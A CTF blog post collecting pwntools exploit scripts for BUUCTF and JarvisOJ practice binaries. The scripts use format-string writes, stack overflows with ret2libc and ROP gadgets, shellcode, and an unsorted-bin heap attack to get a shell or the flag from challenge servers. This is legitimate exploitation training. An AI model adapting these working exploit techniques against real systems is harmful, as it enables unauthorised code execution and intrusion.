buuctf wp4

Posted by nop on 2020-01-10
Words 1.3k In Total

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

jarvisoj_fm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch='i386'

# just a format exploit

# p = process('./fm')
p = remote('node3.buuoj.cn',27112)
payload = fmtstr_payload(11,{0x0804A02C:4})
p.send(payload)
try:
p.recvuntil("running sh...",timeout=1)
sleep(1)
p.interactive()
except Exception as err:
print err

jarvisoj_level0

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch='amd64'

# p = process('./level0')
p = remote('node3.buuoj.cn',29411)

payload = 'A'*(0x80+8) + flat([ELF('./level0',checksec=False).sym['callsystem']])
p.send(payload)
sleep(1)
p.interactive()

jarvisoj_level1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context.arch='i386'

# there is not protect almostly, and the program leak the buf addr on stack
# so, just write shellcode to get shell locally
# but on server, the buf addr will leak after we input,
# so, it's difficult to write shellcode on stack,
# but we still could leak libc by stack overflow and get shell


# p = process('./level1')
p = remote('node3.buuoj.cn',26935)

def locally():
p.recvuntil("What's this:")
buf_addr = int(p.recvuntil('?\n',drop=True),16)
log.success('buf_addr = %#x',buf_addr)
payload = asm(shellcraft.sh()).ljust(0x88+4,'\x00')
payload += p32(buf_addr)
p.send(payload)
sleep(1)
p.interactive()

def servers():
elf = ELF('./level1',checksec=False)
payload = 'A'*(0x88+4)
payload += flat([
elf.plt['write'], elf.sym['main'], 1, elf.got['write'], 8
])
p.send(payload)
write_addr = u32(p.recv(4))
log.success('write_addr = %#x',write_addr)

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info('system_addr = %#x, binsh = %#x'%(system_addr,binsh))

payload = 'A'*(0x88+4)
payload += flat([system_addr, elf.sym['main'], binsh])
p.send(payload)
sleep(1)
p.interactive()

servers()

jarvisoj_level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.arch='i386'

# p = process('./level2')
p = remote('node3.buuoj.cn',29470)
elf = ELF('./level2')

payload = 'A'*(0x88+4)
payload += flat([elf.sym['read'], elf.sym['system'], 0, elf.bss(), 8, elf.bss()])
# make stack over flow,
# and call function read to get strings '/bin/sh\x00' for the function system,
# which function read retrun to
p.send(payload)
sleep(0.1)
p.send('/bin/sh\x00')
sleep(1)
p.interactive()

jarvisoj_level2_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch='amd64'

# there are function system and strings '/bin/sh' in program, just use it

# p = process('./level2_x64')
p = remote('node3.buuoj.cn',28826)
elf = ELF('./level2_x64',checksec=False)

binsh = elf.sym['hint']
system_addr = elf.sym['system']
main = elf.sym['main']

pop_rdi = 0x00000000004006b3 # pop rdi ; ret

payload = 'A'*(0x80+8)
payload += flat([pop_rdi, binsh, system_addr, main])
p.send(payload)
sleep(1)
p.interactive()

jarvisoj_level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context.arch='i386'

# p = process('./level3')
p = remote('node3.buuoj.cn',26889)
elf = ELF('./level3',checksec=False)

read_got = elf.got['read']
write_plt = elf.plt['write']
main = elf.sym['main']

p.recvuntil('Input:')

payload = 'A'*(0x88+4)
payload += flat([write_plt, main, 1, read_got, 10])
p.send(payload)
p.recv()
# read the trash message

read_addr = u32(p.recv(4))
log.success('read_addr = %#x',read_addr)

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info('system_addr = %#x, binsh = %#x'%(system_addr,binsh))

payload = 'A'*(0x88+4)
payload += flat([system_addr, main, binsh])
p.send(payload)
sleep(1)
p.interactive()

jarvisoj_level3_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *
context.arch='amd64'

# there isn't suitable gadget to leak address directly by call write
# but this program is 64bit, so we can use the universe gadgets to leak address

# p = process('./level3_x64')
p = remote('node3.buuoj.cn',28781)
elf = ELF('./level3_x64',checksec=False)
write_got = elf.got['write']
main = elf.sym['main']

gadget1 = 0x0000000000400690
# mov rdx, r13
# mov rsi, r14
# mov edi, r15d
# call qword ptr [r12+rbx*8]
# add rbx, 1
# cmp rbx, rbp
gadget2 = 0x00000000004006AA
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
ret_rdi = 0x00000000004006b3
# pop rdi ; ret

payload = 'A'*(0x80+8)
payload += flat([
gadget2,
0, 1, write_got,
8, write_got, 1,
gadget1])

# notice: make the register r12 point to write@got(or other function), not the write@plt
# because the write@got is the real address of write's body

payload += '\x00'*56 # addjust the stack, the universe gadgets will change the regin stack location
payload += p64(main)

p.recvuntil('Input:\n')
p.send(payload)
sleep(3)

write_addr = u64(p.recv(8))
log.success('write_addr = %#x',write_addr)

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info('system_addr = %#x, binsh = %#x'%(system_addr, binsh))

payload = 'A'*(0x80+8)
payload += flat([ret_rdi, binsh, system_addr ,main])
p.recvuntil('Input:')
p.send(payload)
sleep(1)
p.interactive()

jarvisoj_level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
context.arch='i386'

# p = process('./level4')
p = remote('node3.buuoj.cn',26779)
elf = ELF('./level4',checksec=False)

read_got = elf.got['read']
write_plt = elf.plt['write']
main = elf.sym['main']

payload = 'A'*(0x88+4)
payload += flat([write_plt, main, 1, read_got, 10])
p.send(payload)

read_addr = u32(p.recv(4))
log.success('read_addr = %#x',read_addr)

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info('system_addr = %#x, binsh = %#x'%(system_addr,binsh))

payload = 'A'*(0x88+4)
payload += flat([system_addr, main, binsh])
p.send(payload)
sleep(1)
p.interactive()
# ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)

jarvisoj_tell_me_something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch='amd64'

# there is a function read the flag.txt in server, just call it

# p = process('./guestbook')
p = remote('node3.buuoj.cn',28480)
elf = ELF('./guestbook',checksec='False')

p.recvuntil("Input your message:\n")

payload = 'A'*0x88 + p64(elf.sym['good_game'])
p.send(payload)

p.recvuntil("I have received your message, Thank you!\n")
print p.recv()

jarvisoj_test_your_memory

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch='i386'

# p = process('./memory')
p = remote('node3.buuoj.cn',27442)

# there are function which contains system and strings 'cat flag', overflow to call it and get flag

payload = 'A'*(0x13+4)
payload += flat([ELF('./memory',checksec=False).sym['win_func'], ELF('./memory',checksec=False).sym['main'], 0x080487E0])
p.sendline(payload)
p.interactive()

hitcontraining_magicheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.arch='amd64'
context.log_level="DEBUG"

# p = process('./magicheap')
p = remote('node3.buuoj.cn',28997)

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def create(size,content):
ru("Your choice :")
s(1)
ru("Size of Heap : ")
s(size)
ru("Content of heap:")
s(content)

def edit(index,size,content):
ru("Your choice :")
s(2)
ru("Index :")
s(index)
ru("Size of Heap : ")
s(size)
ru("Content of heap : ")
s(content)

def delete(index):
ru("Your choice :")
s(3)
ru("Index :")
s(index)

def l33t():
ru("Your choice :")
s(4869)
itr()

def dbg():
gdb.attach(p)
pause()

create(0x20,'abcd') # id0
create(0x80,'abcd') # id1
create(0x80,'abcd') # id2

fake_chunk = 0x6020a0 - 0x10
delete(1)
# dbg()
# pwndbg> unsorted
# unsortedbin
# all: 0x11b6030 -> 0x7f679ac5cb78 (main_arena+88) <- 0x11b6030
# pwndbg> x/16g 0x11b6000
# 0x11b6000: 0x0000000000000000 0x0000000000000031
# 0x11b6010: 0x0000000064636261 0x0000000000000000
# 0x11b6020: 0x0000000000000000 0x0000000000000000
# 0x11b6030: 0x0000000000000000 0x0000000000000091
# 0x11b6040: 0x00007f679ac5cb78 0x00007f679ac5cb78
# 0x11b6050: 0x0000000000000000 0x0000000000000000
# 0x11b6060: 0x0000000000000000 0x0000000000000000
# 0x11b6070: 0x0000000000000000 0x0000000000000000
# pwndbg>

payload = p64(0)*5 + p64(0x91) + p64(0) + p64(fake_chunk)
edit(0,len(payload),payload)
# dbg()
# pwndbg> unsorted
# unsortedbin
# all [corrupted]
# FD: 0x714030 <- 0x0
# BK: 0x714030 -> 0x60208d <- 0x0
# pwndbg>

create(0x80,"dada")
# dbg()
# pwndbg> x/4g 0x1412030
# 0x1412030: 0x0000000000000000 0x0000000000000091
# 0x1412040: 0x0000000061646164 0x0000000000602090
# pwndbg> x/4g 0x0000000000602090
# 0x602090 <stdin@@GLIBC_2.2.5>: 0x00007f66fc3a18e0 0x0000000000000000
# 0x6020a0 <magic>: 0x00007f66fc3a1b78 0x0000000000000000
# pwndbg> x/x 0x00007f66fc3a1b78
# 0x7f66fc3a1b78 <main_arena+88>: 0x0000000001412150 <- maigc is bigger than 0x1305
# pwndbg>

l33t()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.